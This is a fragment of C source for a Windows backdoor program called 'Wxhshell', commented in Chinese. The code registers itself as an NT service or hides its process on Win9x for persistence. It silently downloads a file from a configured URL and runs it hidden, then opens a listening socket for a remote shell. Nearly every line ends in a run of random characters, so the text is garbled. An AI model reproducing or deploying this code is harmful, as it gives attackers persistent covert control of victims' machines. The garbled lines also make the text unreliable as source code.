} PROCESS_BASIC_INFORMATION; {R?U.eJW
SF<c0bR9
PROCNTQSIP NtQueryInformationProcess; dKxyA"@
csW43&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o_^?n[4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,~]tg77
*5^Q7``
HANDLE hProcess; aN8|J?JH
PROCESS_BASIC_INFORMATION pbi; S_IUV)
l.NEkAYPmH
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bKN@j'M
if(NULL == hInst ) return 0; ]33>m|?@
%*0^0wz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6U R2IxbE
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W)f/0QX}W
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5jgR4a*_v
GfmI<{da
if (!NtQueryInformationProcess) return 0; +N:o-9
O4V.11FnW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~U@;gLoD
if(!hProcess) return 0; io-![^{
J2xw) +
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .@@?Pj?)
+oovx2r&
CloseHandle(hProcess); ASk|A!
ZOeQ+j)|I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YH\OFg@7
if(hProcess==NULL) return 0; n O\"HLM
iiS-9>]/
HMODULE hMod; ,>0* @2
char procName[255]; 7G}2,ueI
unsigned long cbNeeded; PE3vQH=t~
@oV9)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !y@NAa0
`OXpU,Z 6U
CloseHandle(hProcess); @M_oH:GV
]pNvxXbeW
if(strstr(procName,"services")) return 1; // 以服务启动 jU9$Ehg
I
:+z4~%
jA
return 0; // 注册表启动 d(:8M
} V9{]OV%
b`~p.c%(
// 主模块 P(,p'I;j
int StartWxhshell(LPSTR lpCmdLine) =F]FP5V
{ B&[M7i
SOCKET wsl; a1t4Dd
BOOL val=TRUE; h?BFvbAt
int port=0; AGQ#$fh>7=
struct sockaddr_in door; Jrti
cK$
:y%/u%L
if(wscfg.ws_autoins) Install(); QLEKsX7p>
`.FF!P:{C*
port=atoi(lpCmdLine); f78An 8
gv)P]{%^
if(port<=0) port=wscfg.ws_port; Y2ZT.l
DoJ\ q+
WSADATA data; !MYSfPdS
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4
N H
f&eK|7J_Yf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *c~T@m~DR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k9 "[H'
door.sin_family = AF_INET; s} UjGFP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); UDL!43K
door.sin_port = htons(port); R:e<W/P"
hd>aZ"nm1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iVp,e
closesocket(wsl);
z.$4!$q
return 1; ,Sq/y~
} *5vV6][
S{PJUAu
if(listen(wsl,2) == INVALID_SOCKET) { 0fb`08,^
closesocket(wsl); u.d).da
return 1; L\)ZC
} ,sA[)wP {
Wxhshell(wsl); G;v8$)Zj
WSACleanup(); #33fGmd[
jhXkSj
return 0; SSz~YR^}Sr
bvv|;6
} xC*6vH]?
T*#/^%HSG
// 以NT服务方式启动 @ zs'Y8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^T ?RK"p
{ U]^HjfX\
DWORD status = 0; <KE 1f7c
DWORD specificError = 0xfffffff; 3HLNCt09
i`QKH
serviceStatus.dwServiceType = SERVICE_WIN32; S0~2{G"v
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yRSTk2N@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9z}uc@#D=m
serviceStatus.dwWin32ExitCode = 0; 73V|6tmgY
serviceStatus.dwServiceSpecificExitCode = 0; bu:S:`
serviceStatus.dwCheckPoint = 0; cxA ^:3
serviceStatus.dwWaitHint = 0; RLbKD>
:?/cPg'D
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B[V+ND'(
if (hServiceStatusHandle==0) return; kPVO?uO
t^6dzrF
status = GetLastError(); D@Vt^_
if (status!=NO_ERROR) e6d<dXx
{ _(h&7P9
serviceStatus.dwCurrentState = SERVICE_STOPPED; $lLz3YS
serviceStatus.dwCheckPoint = 0; bsB*533
serviceStatus.dwWaitHint = 0; yp$_/p O=2
serviceStatus.dwWin32ExitCode = status; W0l,cOOZJ
serviceStatus.dwServiceSpecificExitCode = specificError; :a$\/E =
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SRrw0&ts
return; ]y,==1To
} t4-pM1]1_
+YqZ((
serviceStatus.dwCurrentState = SERVICE_RUNNING; WXmn1^"kK}
serviceStatus.dwCheckPoint = 0; QrYpZZ;
serviceStatus.dwWaitHint = 0; BbgnqzU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z(Bp 0a
} q.2ykL
Lz:(6`S
// 处理NT服务事件,比如:启动、停止 BI $
VOID WINAPI NTServiceHandler(DWORD fdwControl) $D}{]MN.
{ &<UMBAS
switch(fdwControl) hA33K #bC
{ h\PHKC2
case SERVICE_CONTROL_STOP: %oq[,h
<X
serviceStatus.dwWin32ExitCode = 0; .R9IL-3fO
serviceStatus.dwCurrentState = SERVICE_STOPPED; s;64N'HH
serviceStatus.dwCheckPoint = 0; R
+WP0&d'
serviceStatus.dwWaitHint = 0; DM}YJ
{ ho0@ l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'CDRr"uw
} 6Qx#%,U^ J
return; o]p|-<I Q
case SERVICE_CONTROL_PAUSE: CC@.MA@9N
serviceStatus.dwCurrentState = SERVICE_PAUSED; _h":>
break; .] sf0S!
case SERVICE_CONTROL_CONTINUE:
8`fjF/
serviceStatus.dwCurrentState = SERVICE_RUNNING; IjR'Qou5
break; R8T]2?Q1
case SERVICE_CONTROL_INTERROGATE: hWT[L.>k
break; |'{zri|A"
}; QNxl/y\l0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]@0NO;bK>F
} aOiR l,
"B8"_D&
// 标准应用程序主函数 CJXg@\\/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +{L<? "
{ %LZ({\5K#f
y;AL'vm9
// 获取操作系统版本 v0ES;
OsIsNt=GetOsVer(); r?*NhLG;
GetModuleFileName(NULL,ExeFile,MAX_PATH); r,Nq7Txn?
|R#"Th6mH!
// 从命令行安装 mUz\ra;z
if(strpbrk(lpCmdLine,"iI")) Install(); ?1[\!
`p7&>
BOA
// 下载执行文件 OKvPL=~
if(wscfg.ws_downexe) { Wf&W^Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `UQf2o0%3w
WinExec(wscfg.ws_filenam,SW_HIDE); ^=^z1M2P
} }Iz7l{al
pKjoi{
Z
if(!OsIsNt) { }A:<%N
// 如果时win9x,隐藏进程并且设置为注册表启动 XFh>U7z.
HideProc(); q=DN
{a:
StartWxhshell(lpCmdLine); yin'vgQ
} !E-Pa5s
else -#Z
bR
if(StartFromService()) S>0nx ^P
// 以服务方式启动 UEzb^(8>
StartServiceCtrlDispatcher(DispatchTable); M!tXN&V]
else kee|42E
// 普通方式启动 VT.;:Q
StartWxhshell(lpCmdLine); l?q%?v8
\J6hI\/4^
return 0; X2xuwA
}